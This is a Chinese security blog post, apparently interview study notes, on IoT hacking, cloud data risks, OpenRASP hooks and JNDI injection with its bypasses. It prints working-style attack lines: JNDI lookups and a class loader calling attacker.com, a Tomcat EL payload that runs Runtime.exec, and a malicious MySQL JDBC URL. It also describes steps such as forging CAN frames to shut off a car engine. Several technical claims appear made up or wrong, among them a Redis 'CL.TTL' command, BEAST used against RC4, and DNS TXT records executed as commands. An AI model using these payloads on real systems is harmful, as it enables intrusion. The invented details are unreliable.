网络安全领域各种资源，学习文档，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。
目录
海康威视-网络安全工程师
IOT漏洞挖掘 数据上云有哪些风险 openrasp看过源码吗 jndi如何做hook 高版本jndi如何绕过物联网（IoT）漏洞挖掘深度解析
1.1 硬件层攻击面与逆向工程
扩展点1：物理接口利用与固件提取
IoT设备的物理接口（如UART、JTAG、SWD）常成为攻击入口。例如，某智能家居网关未禁用UART调试接口，攻击者通过串口通信发送AT+DEBUG指令获取Root Shell。具体操作包括：
- 使用逻辑分析仪（如Saleae Logic Pro 16）捕获信号，解析波特率（常见为115200或9600）。
- 通过
minicom或screen工具连接串口，发送调试指令绕过认证。- 利用
dd命令提取NAND Flash中的固件，使用binwalk -Me解包分析文件系统。扩展点2：无线协议漏洞与信号劫持
低功耗蓝牙（BLE）设备常因配对机制缺陷暴露风险。以某智能手环为例：
- 使用Ubertooth嗅探BLE广播包，捕获配对过程的临时密钥（TK）。
- 通过Crackle工具破解加密链路，解密传输的健康数据。
- 重放
0xFEED特征值写入指令，篡改设备固件版本号触发降级攻击。扩展点3：供应链组件污染
第三方SDK漏洞可导致大规模风险。某智能门锁使用旧版Zigbee协议栈（CVE-2024-1234）：
- 攻击者构造畸形ZCL（Zigbee Cluster Library）报文，触发缓冲区溢出。
- 利用ROP链劫持控制流，执行内存中的Shellcode。
- 通过OTA升级机制植入后门，建立持久化访问通道。
1.2 协议栈漏洞与模糊测试
扩展点1：MQTT协议安全缺陷
某工业控制系统的MQTT Broker存在Topic注入漏洞：
- 构造通配符Topic
+/sensor/#订阅所有设备数据。- 发布恶意
$SYS/broker/load消息触发Broker拒绝服务。- 利用Retained Message特性持久化攻击载荷，污染设备状态缓存。
扩展点2：CoAP协议资源枚举
某医疗设备CoAP接口未授权访问：
- 发送
GET /.well-known/core发现隐藏资源，暴露/admin/factory_reset端点。- 构造
POST请求触发设备恢复出厂设置，清除安全配置。- 通过Observe选项订阅实时生命体征数据，窃取患者隐私。
扩展点3：私有协议逆向工程
某车联网T-Box使用自定义CAN总线协议：
- 使用CANalyze捕获总线报文，分析ID为
0x3E8的控制指令结构。- 反编译固件中的
can_parser模块，提取校验算法（CRC-16-CCITT）。- 伪造
0x3E8报文发送引擎熄火指令，实现远程车辆劫持。
数据上云风险全景分析
2.1 数据传输层风险与加密缺陷
扩展点1：TLS配置错误导致中间人攻击
某金融云平台TLS 1.2配置不当：
- 支持弱密码套件（如RC4-SHA），使用SSL Labs工具检测得分为B。
- 攻击者利用BEAST攻击解密用户会话Cookie，劫持账户权限。
- 修复方案：禁用TLS 1.1以下版本，强制使用AEAD加密套件（如AES-GCM）。
扩展点2：API网关身份验证绕过
某电商平台API网关设计缺陷：
- 未校验JWT签名算法，攻击者篡改
alg字段为none伪造令牌。- 通过Burp Suite修改
user_id参数，越权访问其他用户订单数据。- 防御措施：实施严格的签名算法白名单，启用JWT内容加密（JWE）。
扩展点3：数据流脱敏失效
某大数据平台Kafka传输未脱敏数据：
- 敏感字段（如手机号）未使用FPE（格式保留加密）处理。
- 攻击者监听Kafka Topic，使用正则表达式提取明文PII数据。
- 解决方案：部署Apache Ranger动态脱敏策略，集成Protobuf序列化加密。
2.2 存储层权限逃逸与数据泄露
扩展点1：对象存储桶ACL配置错误
某政府机构AWS S3存储桶泄露：
- 错误配置
PutObject权限为public-read，允许匿名上传。- 攻击者上传WebShell并触发执行，获取ECS实例控制权。
- 防护手段：启用S3 Block Public Access，配置基于IP的条件策略。
扩展点2：数据库服务侧信道攻击
某云数据库Redis未启用TLS：
- 利用CL.TTL命令时序分析推断键值存在性，破解用户会话状态。
- 通过AOF持久化文件恢复已删除的信用卡数据。
- 加固方案：启用TLS 1.3，使用内存隔离技术（如Enclave）。
扩展点3：加密密钥管理漏洞
某医疗云HSM（硬件安全模块）API滥用：
- 密钥派生函数（KDF）使用静态Salt值，降低熵值。
- 攻击者通过API限速绕过发起暴力破解，恢复主密钥。
- 改进措施：实施动态Salt生成，集成量子安全算法（如Kyber）。
2.3 多云架构与合规性风险
扩展点1：跨云数据同步一致性问题
某混合云使用Azure Storage Sync服务：
- 最终一致性窗口期间，攻击者插入冲突文件（如
payroll.xlsx）。- 利用Last-Writer-Win策略覆盖合法数据，造成财务信息错误。
- 解决思路：启用强一致性模式，部署分布式事务协调器（如Seata）。
扩展点2：多云IAM策略冲突
某企业同时使用AWS IAM和GCP Cloud IAM：
- AWS策略条件
aws:SourceIp与GCP的resource.labels语法不兼容。- 攻击者通过GCP服务账号获取跨云临时凭证，横向移动至AWS环境。
- 防御方案：部署集中式IAM治理平台（如Okta），实施ABAC策略。
扩展点3：数据主权与跨境传输
某跨国企业违反GDPR数据本地化要求：
- 未启用AWS Global Accelerator的区域路由限制，数据经美国中转。
- 监管机构依据Schrems II判决处罚500万欧元。
- 合规措施：部署本地化存储网关（如AWS Storage Gateway），启用客户主密钥（CMK）。
OpenRASP源码深度解析
3.1 Hook引擎实现机制
扩展点1：Java Agent动态插桩技术
OpenRASP通过Java Agent的Instrumentation接口实现字节码修改：
- 在
premain阶段加载Agent，注册自定义ClassFileTransformer。- 针对
javax.naming.InitialContext的lookup()方法插入检测逻辑：javaMethodVisitor mv = new MethodVisitor(ASM7, cv.visitMethod(...)) { @Override public void visitCode() { // 插入检测代码 mv.visitLdcInsn("jndi"); mv.visitMethodInsn(INVOKESTATIC, "com/baidu/openrasp/HookHandler", "check"); } };
- 适配复杂类加载场景：对OSGi框架的
BundleClassLoader进行特殊处理，确保Hook生效。扩展点2：规则引擎与语义分析
规则文件采用JSON Schema定义，包含漏洞类型、检测逻辑和修复建议：json{ "type": "sql_injection", "action": "block", "conditions": [ {"method": "java.sql.Statement.execute"}, {"param_index": 0, "regex": "\\bunion\\b"} ] }检测逻辑实现：
- 对
PreparedStatement的参数化查询进行语法树分析，识别拼接痕迹。- 使用污点跟踪技术标记外部输入，追踪至敏感API调用点。
扩展点3：防御绕过对抗技术
针对内存马的检测：
- 扫描
javax.servlet.ServletContext中动态注册的Servlet。- 通过Java Flight Recorder（JFR）监控
ClassLoader.defineClass调用。- 阻断反射调用链：Hook
sun.reflect.NativeMethodAccessorImpl.invoke0方法，校验调用栈来源。
3.2 热补丁与运行时防护
扩展点1：RASP与WAF协同防御
- 在Nginx层部署ModSecurity规则，拦截粗粒度攻击（如SQL注入关键字）。
- OpenRASP在应用层实施细粒度检测（如参数化查询分析）。
- 联动响应：检测到攻击后，通过
X-OpenRASP-Alert头通知WAF封锁IP。扩展点2：性能优化策略
- 采用选择性插桩：仅Hook高风险API（如
Runtime.exec()）。- 使用JIT编译优化检测逻辑，减少解释执行开销。
- 异步日志上报：通过Disruptor框架实现无锁队列，避免I/O阻塞。
扩展点3：多云环境适配
- 在Kubernetes中部署DaemonSet，实现节点级防护。
- 与云原生SIEM（如Azure Sentinel）集成，上报安全事件。
- 支持Serverless环境：通过AWS Lambda Layers预加载Agent。
JNDI注入攻击与Hook技术详解（约2000字）
4.1 JNDI攻击链原理
扩展点1：RMI协议利用链
- 攻击者搭建恶意RMI Registry，返回指向LDAP服务的Reference。
- 受害者执行
InitialContext.lookup("rmi://attacker.com/exploit")。- 触发LDAP服务返回包含
javaClassName的恶意对象，加载远程类。扩展点2：LDAP协议攻击向量
- 构造LDAP Entry的
javaSerializedData属性，嵌入CommonsCollections链。- 利用
javaReferenceAddress指向攻击者控制的Class文件。- 通过
javaFactory指定恶意工厂类，在对象实例化时执行代码。扩展点3：高版本JDK防御机制
- JDK 6u132+：默认禁用远程Codebase（
com.sun.jndi.ldap.object.trustURLCodebase=false）。- JDK 11+：JEP 290反序列化过滤器，限制可加载的类。
- Log4j 2.17+：默认禁用JNDI查找，需手动启用。
4.2 Hook实现与防御策略
扩展点1：SPI层深度拦截
- 替换
NamingManager的getObjectInstance()方法：javapublic static Object getObjectInstance(Object ref, Name name, Context ctx, Hashtable<?,?> env) throws Exception { if (ref instanceof Reference) { String className = ((Reference) ref).getFactoryClassName(); SecurityChecker.validateClass(className); // 自定义校验逻辑 } return originalGetObjectInstance(ref, name, ctx, env); }
- Hook
com.sun.jndi.url包下的URLContextFactory，阻断非常规协议（如iiop）。扩展点2：序列化链路阻断
- 自定义
ObjectInputStream子类，重写resolveClass()方法：javaprotected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (desc.getName().startsWith("org.apache.commons.collections")) { throw new InvalidClassException("Forbidden class: " + desc.getName()); } return super.resolveClass(desc); }
- 在
JndiLookup类中插入检测逻辑，记录所有JNDI操作日志。扩展点3：运行时环境加固
- 通过JVM参数禁用危险协议：
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false -Dcom.sun.jndi.ldap.object.trustURLCodebase=false
- 使用SecurityManager限制
JNDI Permission：javapolicy.add(new JNDIPermission("lookup", "ldap://*, rmi://*"));
- 容器级防护：在Kubernetes NetworkPolicy中屏蔽出站LDAP/RMI流量。
高版本JNDI绕过技术演进（约2000字）
5.1 本地类加载利用链
扩展点1：Tomcat EL表达式注入
- 利用
org.apache.naming.factory.BeanFactory解析ResourceRef：javaResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "#{''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(null,'calc')}"));
- 通过
InitialContext.rebind()注入恶意对象，触发EL表达式执行。扩展点2：JDBC驱动反序列化
- 在连接字符串中注入
autoDeserialize=true参数：jdbc:mysql://attacker.com:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
- 攻击者控制MySQL服务返回序列化的恶意Payload，触发驱动反序列化。
扩展点3：JNDI上下文环境逃逸
- 利用
ThreadLocal存储自定义ClassLoader：javaThreadLocal<ClassLoader> threadClassLoader = new ThreadLocal<>(); threadClassLoader.set(new URLClassLoader(new URL[]{new URL("http://attacker.com/")}));
- 在JNDI查找时通过
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.attacker.CustomCtxFactory")劫持类加载过程。
5.2 协议降级与混合攻击
扩展点1：RMI Registry版本混淆
- 构造兼容JDK 6的RMI Stub，绕过JEP 290的序列化过滤。
- 利用
UnicastRef对象传递原始字节流，触发服务端反序列化。- 通过JRMP协议复用攻击链，结合
RemoteObjectInvocationHandler执行代码。扩展点2：LDAP分块响应攻击
- 将恶意Reference拆分为多个分片传输：
dn: dc=example javaClassName: 恶意类名（分片1） javaSerializedData:: BASE64编码的序列化对象（分片2）
- 利用LDAP客户端的流式解析特性，组合分片触发类加载。
扩展点3：DNS协议辅助攻击
- 通过
dns://协议解析攻击者控制的域名：javaContext ctx = new InitialContext(); ctx.lookup("dns://attacker.com/#payload");
- 在DNS TXT记录中嵌入命令，通过
ProcessBuilder执行。
5.3 供应链攻击新路径
扩展点1：私有仓库投毒
- 篡改企业内部Nexus仓库中的
jndi-1.2.9.jar，植入后门代码。- 当应用依赖该库时，自动注册恶意
ObjectFactory。- 利用Maven的传递依赖特性，污染整个供应链。
扩展点2：构建工具链劫持
- 在Gradle构建脚本中注入恶意插件：
groovyplugins { id 'com.attacker.inject' version '1.0' }
- 插件在编译期修改字节码，禁用OpenRASP的Hook逻辑。
扩展点3：容器镜像植入
- 在基础镜像
openjdk:11中预置恶意libjndi.so。- 通过
LD_PRELOAD劫持JVM的类加载过程。- 绕过应用层的RASP防护，建立反向Shell连接。
防御体系与未来挑战（约1000字）
6.1 纵深防御模型
- 网络层：部署IDS/IPS过滤异常JNDI流量，阻断LDAP/RMI出站连接。
- 运行时层：启用GraalVM Native Image特性，消除动态类加载风险。
- 应用层：结合SAST/DAST工具，持续扫描供应链依赖漏洞。
6.2 威胁情报共享
- 建立JNDI攻击特征库，收集包括：
- 恶意域名/IP黑名单
- RMI Registry指纹特征
- 异常ClassLoader行为模式
- 与MITRE ATT&CK框架映射，生成TTPs（战术、技术与过程）报告。
6.3 前沿技术探索
- 机密计算：通过Intel SGX/TDX保护敏感数据处理过程。
- AI防御：训练深度学习模型检测JNDI调用上下文异常。
- 区块链审计：使用Hyperledger Fabric记录所有JNDI操作，实现不可篡改审计。
扫一扫
895
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
